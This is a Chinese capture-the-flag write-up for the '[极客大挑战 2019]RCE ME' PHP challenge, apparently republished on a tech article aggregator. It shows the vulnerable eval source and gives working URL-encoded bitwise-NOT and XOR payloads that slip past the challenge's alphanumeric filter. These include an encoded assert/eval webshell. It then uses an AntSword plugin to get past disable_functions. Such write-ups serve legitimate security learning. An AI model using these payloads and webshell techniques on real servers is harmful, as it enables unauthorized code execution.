IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> PHP知识库 -> [极客大挑战 2019]RCE ME -> 正文阅读

[PHP知识库][极客大挑战 2019]RCE ME

打开环境,得到源码:

<?php
error_reporting(0);
if(isset($_GET['code'])){
            $code=$_GET['code'];
                    if(strlen($code)>40){
                                        die("This is too Long.");
                                                }
                    if(preg_match("/[A-Za-z0-9]+/",$code)){
                                        die("NO.");
                                                }
                    @eval($code);
}
else{
            highlight_file(__FILE__);
}

// ?>

分析代码,首先要GET传值code,否则就高亮显示源码;传值后判断长度,不能超过40,否则结束;传的值也不能为字母和数字,否则也结束;最后执行传递的语句。那么很明显,这个题要构造命令执行!

但这题关键还在于要传递不是字母和数字的命令,长度还不能超过40,咋办呢?

?第一种方法是利用url编码取反绕过:

取反的符号是~,也是一种运算符。在数值的二进制表示方式上,将0变为1,将1变为0。对phpinfo取反,会产生一些不可见字符,可对phpinfo取反后再进行url编码:

运行php代码:

echo urlencode(~'phpinfo');

就能得到:

%8F%97%8F%96%91%99%90

?我们就可以直接传入:

?code=(~%8F%97%8F%96%91%99%90)();

成功绕过!!!?

第二种用异或的方法,异或的规则是:

1 XOR 0 = 1

0 XOR 1 = 1

0 XOR 0 = 0

1 XOR 1 = 0

?如果是两个字符进行异或运算,就先看字符对应的ASCII码值,再将ASCII码转为二进制,然后逐位经行异或运算,例如:

字符:?? ? ? ?ASCII码:63 二进制: 00?11 1111?

字符:~? ? ? ?ASCII码:126 二进制: 0111 1110?

两字符的二进制逐位经行异或运算得到二进制: 0100 0001

转为十进制就是:65,也就是字符A,也就是说 ? 和 ~ 异或运算得到 A 。

那么此题他只过滤了字母和数字,ASCII码中还有很多字母数字之外的字符利用这些字符进行异或可以得到我们想要的字符。

经过一次get传参会进行一次URL解码,所以我们可以将字符先进行url编码再进行异或得到我们想要的字符:

${_GET}{%ff}();&%ff=phpinfo

  1. %A0^%FF=>_

  2. %B8^%FF=>G

  3. %BA^%FF=>E

  4. %AB^%FF=>T

<?php
$a = urldecode('%ff%ff%ff%ff');
$b = urldecode('%a0%b8%ba%ab');
echo $a^$b;
//输出_GET

?所以我们传入:

?code=${'%ff%ff%ff%ff'^'%a0%b8%ba%ab'}{%ff}();&%ff=phpinfo

成功绕过!!?

那我们如何知道哪些字符异或运算后能得到我们想要的字符?

我们可以用下面的脚本:

<?php
for($i=128;$i<255;$i++){
    echo sprintf("%s^%s",urlencode(chr($i)),urlencode(chr(255)))."=>". (chr($i)^chr(255))."\n";
}
?>

?运行后得到:

%81^%FF=>~     %82^%FF=>}       %83^%FF=>|
%84^%FF=>{     %85^%FF=>z       %86^%FF=>y
%87^%FF=>x     %88^%FF=>w       %89^%FF=>v
%8A^%FF=>u     %8B^%FF=>t       %8C^%FF=>s
%8D^%FF=>r     %8E^%FF=>q       %8F^%FF=>p
%90^%FF=>o     %91^%FF=>n       %92^%FF=>m
%93^%FF=>l     %94^%FF=>k       %95^%FF=>j
%96^%FF=>i     %97^%FF=>h       %98^%FF=>g
%99^%FF=>f     %9A^%FF=>e       %9B^%FF=>d
%9C^%FF=>c     %9D^%FF=>b       %9E^%FF=>a
%9F^%FF=>`     %A0^%FF=>_       %A1^%FF=>^
%A2^%FF=>]     %A3^%FF=>\       %A4^%FF=>[
%A5^%FF=>Z     %A6^%FF=>Y       %A7^%FF=>X
%A8^%FF=>W     %A9^%FF=>V       %AA^%FF=>U
%AB^%FF=>T     %AC^%FF=>S       %AD^%FF=>R    
%AE^%FF=>Q     %AF^%FF=>P       %B0^%FF=>O
%B1^%FF=>N     %B2^%FF=>M       %B3^%FF=>L
%B4^%FF=>K     %B5^%FF=>J       %B6^%FF=>I
%B7^%FF=>H     %B8^%FF=>G       %B9^%FF=>F
%BA^%FF=>E     %BB^%FF=>D       %BC^%FF=>C
%BD^%FF=>B     %BE^%FF=>A       %BF^%FF=>@
%C0^%FF=>?

就能根据自己的需要进行组合!

当然还有一些绕过的方法,有时间后面自己了解!

执行之后发现过滤了大部分命令执行的函数,下面考虑如何绕过

?我们直接用取反的方法构造一个木马:

echo urlencode(~'eval($_POST[aaa])');

得到:?

传入:?code=~%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%9E%A2%D6;

测试了没成功!!

用异或传入:

?code=${%27%ff%ff%ff%ff%27^%27%a0%b8%ba%ab%27}{%ff};&%ff=eval($_POST[aaa])

也没成功!!!

这里其实要像这样构造:

<?php 
error_reporting(0);
$a='assert';
$b=urlencode(~$a);
echo $b;
echo "<br>";
$c='(eval($_POST[a]))';
$d=urlencode(~$c);
echo $d;
 ?>

得到:

?code=(~%9E%8C%8C%9A%8D%8B)(~%D7%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%9E%A2%D6%D6);

说明:开始我想的是直接传一个$_POST[s]的取反进去,加上代码最后的eval,这不就是一个木马吗,试了半天一直不行,后面发现是eval只能解析一次,意思是题目中是@eval($code),当你传入$code的时候,eval会进行变量的替换,相当于已经解析了一次,自己再以post传进去的s不能被解析。

然后我还想试一试传eval($_POST[s]),也是不行的,因为eval不是可变函数,不能当作字符串交给php让他当作函数名:

?传进去的payload为/?code=(~%9A%89%9E%93)(~%D7%DB%A0%AF%B0%AC%AB%A4%8C%A2%D6); 也就是eval($_POST[s]),之所以要用两个括号,而不是一次性取反传入一个括号的东西是因为你传入的是一个函数,eval运行的时候会根据函数名先检测是否存在这个函数,而第一个括号的内容也就是函数名,第二个括号的内容应该是传入的函数内应该传的参数。所以它会先检测有没有eval这个函数,然后继续进行,但是eval又不能做可变函数,所以这样也是错误的。

assert($_POST[s])为啥也不行呢?

网上找了个说法:

?所以最后传入的只能是上面最后那样构造!!!!

接着连接蚁剑:

?看到有个flag和readflag,但是flag无法直接读取!需要执行readflag才能得到flag,当时因为限制了很多函数,这个shell基本是废的,一个不能执行命令的shell叫什么shell,所以这里需要绕过这个disable_functions执行命令。

这里可以用到蚁剑的一个能绕过disable_functions的插件,点击蚁剑中的AntSword,然后点击插件市场:

??

?但是鉴于可能加载不出来,那就在本地安装吧!下载地址:

链接:https://pan.baidu.com/s/1cYXwsfjMe15gdI0KR4W_BQ?
提取码:730f

下载之后,将其解压在antSword\antData\plugins路径下,再回插件市场就能在本地仓库看见了:

?回到开始选择:

?选择PHP_GC_UAF模式,点击开始会自动弹出shell,用命令回到根目录,执行:./readflag

得到答案:

?

  PHP知识库 最新文章
Laravel 下实现 Google 2fa 验证
UUCTF WP
DASCTF10月 web
XAMPP任意命令执行提升权限漏洞(CVE-2020-
[GYCTF2020]Easyphp
iwebsec靶场 代码执行关卡通关笔记
多个线程同步执行,多个线程依次执行,多个
php 没事记录下常用方法 (TP5.1)
php之jwt
2021-09-18
上一篇文章      下一篇文章      查看所有文章
加:2021-09-10 10:38:00  更:2021-09-10 10:38:15 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年12日历 -2024/12/29 18:44:09-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码
数据统计